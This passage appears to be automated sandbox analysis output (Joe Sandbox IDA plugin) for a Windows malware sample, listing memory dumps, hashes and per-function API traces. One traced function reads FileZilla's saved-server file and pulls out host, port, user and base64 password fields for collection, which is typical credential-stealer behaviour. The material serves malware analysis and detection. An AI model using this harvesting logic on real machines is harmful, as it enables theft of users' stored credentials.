Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00912F78), ref: 00419C2D
GetProcAddress.KERNEL32(74DD0000,00912E18), ref: 00419C45
GetProcAddress.KERNEL32(74DD0000,0091A0A8), ref: 00419C5E
GetProcAddress.KERNEL32(74DD0000,0091A138), ref: 00419C76
GetProcAddress.KERNEL32(74DD0000,0091A0C0), ref: 00419C8E
GetProcAddress.KERNEL32(74DD0000,0091A120), ref: 00419CA7
GetProcAddress.KERNEL32(74DD0000,0091CDA0), ref: 00419CBF
GetProcAddress.KERNEL32(74DD0000,0091A090), ref: 00419CD7
GetProcAddress.KERNEL32(74DD0000,0091A0D8), ref: 00419CF0
GetProcAddress.KERNEL32(74DD0000,0091A0F0), ref: 00419D08
GetProcAddress.KERNEL32(74DD0000,0091A150), ref: 00419D20
GetProcAddress.KERNEL32(74DD0000,00912E78), ref: 00419D39
GetProcAddress.KERNEL32(74DD0000,00912E98), ref: 00419D51
GetProcAddress.KERNEL32(74DD0000,00912EB8), ref: 00419D69
GetProcAddress.KERNEL32(74DD0000,00912C98), ref: 00419D82
GetProcAddress.KERNEL32(74DD0000,0091FC48), ref: 00419D9A
GetProcAddress.KERNEL32(74DD0000,0091FD50), ref: 00419DB2
GetProcAddress.KERNEL32(74DD0000,0091D020), ref: 00419DCB
GetProcAddress.KERNEL32(74DD0000,00912F18), ref: 00419DE3
GetProcAddress.KERNEL32(74DD0000,0091FC90), ref: 00419DFB
GetProcAddress.KERNEL32(74DD0000,0091FB58), ref: 00419E14
GetProcAddress.KERNEL32(74DD0000,0091FAC8), ref: 00419E2C
GetProcAddress.KERNEL32(74DD0000,0091FBE8), ref: 00419E44
GetProcAddress.KERNEL32(74DD0000,00912BF8), ref: 00419E5D
GetProcAddress.KERNEL32(74DD0000,0091FAE0), ref: 00419E75
GetProcAddress.KERNEL32(74DD0000,0091FB28), ref: 00419E8D
GetProcAddress.KERNEL32(74DD0000,0091FC78), ref: 00419EA6
GetProcAddress.KERNEL32(74DD0000,0091FAF8), ref: 00419EBE
GetProcAddress.KERNEL32(74DD0000,0091FD20), ref: 00419ED6
GetProcAddress.KERNEL32(74DD0000,0091FC60), ref: 00419EEF
GetProcAddress.KERNEL32(74DD0000,0091FB10), ref: 00419F07
GetProcAddress.KERNEL32(74DD0000,0091FBA0), ref: 00419F1F
GetProcAddress.KERNEL32(74DD0000,0091FB40), ref: 00419F38
GetProcAddress.KERNEL32(74DD0000,0091CA78), ref: 00419F50
GetProcAddress.KERNEL32(74DD0000,0091FBB8), ref: 00419F68
GetProcAddress.KERNEL32(74DD0000,0091FB70), ref: 00419F81
GetProcAddress.KERNEL32(74DD0000,00912F38), ref: 00419F99
GetProcAddress.KERNEL32(74DD0000,0091FD80), ref: 00419FB1
GetProcAddress.KERNEL32(74DD0000,00912CB8), ref: 00419FCA
GetProcAddress.KERNEL32(74DD0000,0091FBD0), ref: 00419FE2
GetProcAddress.KERNEL32(74DD0000,0091FB88), ref: 00419FFA
GetProcAddress.KERNEL32(74DD0000,00912CD8), ref: 0041A013
GetProcAddress.KERNEL32(74DD0000,00912CF8), ref: 0041A02B
LoadLibraryA.KERNEL32(0091FC00,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(0091FCF0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(0091FD08,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(0091FD68,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(0091FD38,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(0091FD98,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(0091FCA8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(0091FCC0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75290000,00912D38), ref: 0041A0DA
GetProcAddress.KERNEL32(75290000,0091FDB0), ref: 0041A0F2
GetProcAddress.KERNEL32(75290000,00918420), ref: 0041A10A
GetProcAddress.KERNEL32(75290000,0091FCD8), ref: 0041A123
GetProcAddress.KERNEL32(75290000,00913238), ref: 0041A13B
GetProcAddress.KERNEL32(73B30000,0091CE90), ref: 0041A160
GetProcAddress.KERNEL32(73B30000,00913198), ref: 0041A179
GetProcAddress.KERNEL32(73B30000,0091CE18), ref: 0041A191
GetProcAddress.KERNEL32(73B30000,0091FC18), ref: 0041A1A9
GetProcAddress.KERNEL32(73B30000,0091FC30), ref: 0041A1C2
GetProcAddress.KERNEL32(73B30000,009131F8), ref: 0041A1DA
GetProcAddress.KERNEL32(73B30000,009130B8), ref: 0041A1F2
GetProcAddress.KERNEL32(73B30000,0091FDE0), ref: 0041A20B
GetProcAddress.KERNEL32(752C0000,00913138), ref: 0041A22C
GetProcAddress.KERNEL32(752C0000,00913338), ref: 0041A244
GetProcAddress.KERNEL32(752C0000,0091FDC8), ref: 0041A25D
GetProcAddress.KERNEL32(752C0000,0091FE58), ref: 0041A275
GetProcAddress.KERNEL32(752C0000,009132B8), ref: 0041A28D
GetProcAddress.KERNEL32(74EC0000,0091CDF0), ref: 0041A2B3
GetProcAddress.KERNEL32(74EC0000,0091CBC0), ref: 0041A2CB
GetProcAddress.KERNEL32(74EC0000,0091FE70), ref: 0041A2E3
GetProcAddress.KERNEL32(74EC0000,009132D8), ref: 0041A2FC
GetProcAddress.KERNEL32(74EC0000,009132F8), ref: 0041A314
GetProcAddress.KERNEL32(74EC0000,0091CC10), ref: 0041A32C
GetProcAddress.KERNEL32(75BD0000,0091FE10), ref: 0041A352
GetProcAddress.KERNEL32(75BD0000,009130F8), ref: 0041A36A
GetProcAddress.KERNEL32(75BD0000,009183A0), ref: 0041A382
GetProcAddress.KERNEL32(75BD0000,0091FE88), ref: 0041A39B
GetProcAddress.KERNEL32(75BD0000,0091FDF8), ref: 0041A3B3
GetProcAddress.KERNEL32(75BD0000,00913398), ref: 0041A3CB
GetProcAddress.KERNEL32(75BD0000,009130D8), ref: 0041A3E4
GetProcAddress.KERNEL32(75BD0000,0091FE40), ref: 0041A3FC
GetProcAddress.KERNEL32(75BD0000,0091FE28), ref: 0041A414
GetProcAddress.KERNEL32(75A70000,00913378), ref: 0041A436
GetProcAddress.KERNEL32(75A70000,0091FFD8), ref: 0041A44E
GetProcAddress.KERNEL32(75A70000,00920140), ref: 0041A466
GetProcAddress.KERNEL32(75A70000,0091FF78), ref: 0041A47F
GetProcAddress.KERNEL32(75A70000,0091FF90), ref: 0041A497
GetProcAddress.KERNEL32(75450000,00913218), ref: 0041A4B8
GetProcAddress.KERNEL32(75450000,00913358), ref: 0041A4D1
GetProcAddress.KERNEL32(75DA0000,00913318), ref: 0041A4F2
GetProcAddress.KERNEL32(75DA0000,0091FF48), ref: 0041A50A
GetProcAddress.KERNEL32(6F070000,00913018), ref: 0041A530
GetProcAddress.KERNEL32(6F070000,00913298), ref: 0041A548
GetProcAddress.KERNEL32(6F070000,00912FF8), ref: 0041A560
GetProcAddress.KERNEL32(6F070000,00920158), ref: 0041A579
GetProcAddress.KERNEL32(6F070000,00913038), ref: 0041A591
GetProcAddress.KERNEL32(6F070000,00913058), ref: 0041A5A9
GetProcAddress.KERNEL32(6F070000,00913078), ref: 0041A5C2
GetProcAddress.KERNEL32(6F070000,00913098), ref: 0041A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AF0000,0091FFA8), ref: 0041A629
GetProcAddress.KERNEL32(75AF0000,00918520), ref: 0041A641
GetProcAddress.KERNEL32(75AF0000,0091FFC0), ref: 0041A659
GetProcAddress.KERNEL32(75AF0000,009200B0), ref: 0041A672
GetProcAddress.KERNEL32(75D90000,00913118), ref: 0041A693
GetProcAddress.KERNEL32(6E380000,00920080), ref: 0041A6B4
GetProcAddress.KERNEL32(6E380000,00913158), ref: 0041A6CD
GetProcAddress.KERNEL32(6E380000,00920038), ref: 0041A6E5
GetProcAddress.KERNEL32(6E380000,0091FFF0), ref: 0041A6FD

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,0091DBA0,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,009205C0,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,009205F0,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,00920608,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,00920620,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,0091DC28,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,009205C0,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,009205F0,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,00920608,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,00920620,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,0091DC90,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,009205C0,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,009205F0,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,00920608,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,00920620,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,0091DCF8,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,009205C0,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,009205F0,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,00920608,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,00920620,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,00920F98,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,009205C0,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,009205F0,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,00920608,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,00920620,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,00921000,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,009205C0,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,009205F0,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,00920608,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,00920620,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(2D08A020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D08A020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D08A020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D08A020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D08A020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D08A020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D08A020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,00921FD0,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,00920E18), ref: 00407E1E
lstrlenA.KERNEL32(2D08A020), ref: 00407E2B
lstrlenA.KERNEL32(2D08A020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 1a650b6c54ec229698d2e067ee9c9c7057d9390d27e156ad03d47cdb742ecd44
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 1a650b6c54ec229698d2e067ee9c9c7057d9390d27e156ad03d47cdb742ecd44
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
browser: FileZilla, xrefs: 00410559
NA, xrefs: 0041072E, 004106AF, 004106B2
<Port>, xrefs: 004103C6
url: , xrefs: 00410577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<User>, xrefs: 00410410
password: , xrefs: 004105FB
<Pass encoding="base64">, xrefs: 0041045A
profile: null, xrefs: 00410568
<Host>, xrefs: 0041037C
login: , xrefs: 004105CA

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
